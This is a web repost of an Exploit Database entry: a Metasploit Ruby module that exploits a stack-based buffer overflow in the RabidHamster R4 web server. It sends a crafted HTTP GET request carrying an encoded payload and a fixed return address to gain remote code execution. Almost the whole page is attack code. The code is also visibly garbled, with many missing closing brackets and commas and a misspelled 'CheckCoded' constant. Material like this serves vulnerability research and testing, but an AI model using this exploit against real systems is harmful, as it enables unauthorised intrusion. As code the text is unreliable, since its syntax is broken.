RabidHamster R4 – Log Entry ‘sprintf()’ Remote Buffer Overflow (Metasploit)

Exploit Database
109 阅读

作者： Metasploit

日期： 2012-05-25
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/18929/

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})

super(update_info(info,

'Name' => "RabidHamster R4 Log Entry sprintf() Buffer Overflow",

'Description'=> %q{

This module exploits a vulnerability found in RabidHamster R4's web server.

By supplying a malformed HTTP request, it is possible to trigger a stack-based

buffer overflow when generating a log, which may result in arbitrary code

execution under the context of the user.

'License'=> MSF_LICENSE,

'Author' =>

[

'Luigi Auriemma',#Discovery, PoC

'sinn3r' #Metasploit

'References' =>

[

['OSVDB', '79007'],

['URL', 'http://aluigi.altervista.org/adv/r4_1-adv.txt'],

['URL', 'http://secunia.com/advisories/47901/']

'Payload'=>

{

'StackAdjustment' => -3500,

'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x20"

'DefaultOptions'=>

{

'ExitFunction' => "process"

'Platform' => 'win',

'Targets'=>

[

['R4 v1.25', {'Ret'=>0x73790533}]#JMP ESI (ddraw.dll)

'Privileged' => false,

'DisclosureDate' => "Feb 09 2012",

'DefaultTarget'=> 0))

register_options(

[

OptPort.new('RPORT', [true, 'The remote port', 8888])

], self.class)

end

def check

res = send_request_cgi({

'method' => 'GET',

'uri'=> '/'

})

if res and res.headers['Server'] == 'R4 Embedded Server'

return Exploit::CheckCode::Detected

else

return Exploit::CheckCoded::Safe

end

def exploit

buf = ''

buf << payload.encoded

buf << rand_text_alpha(2022-buf.length, payload_badchars)

buf << [target.ret].pack("V*")

buf << pattern_create(200)

buf << rand_text_alpha(3000-buf.length, payload_badchars)

send_request_cgi({

'method' => 'GET',

'uri'=> "/?#{buf}"

})

end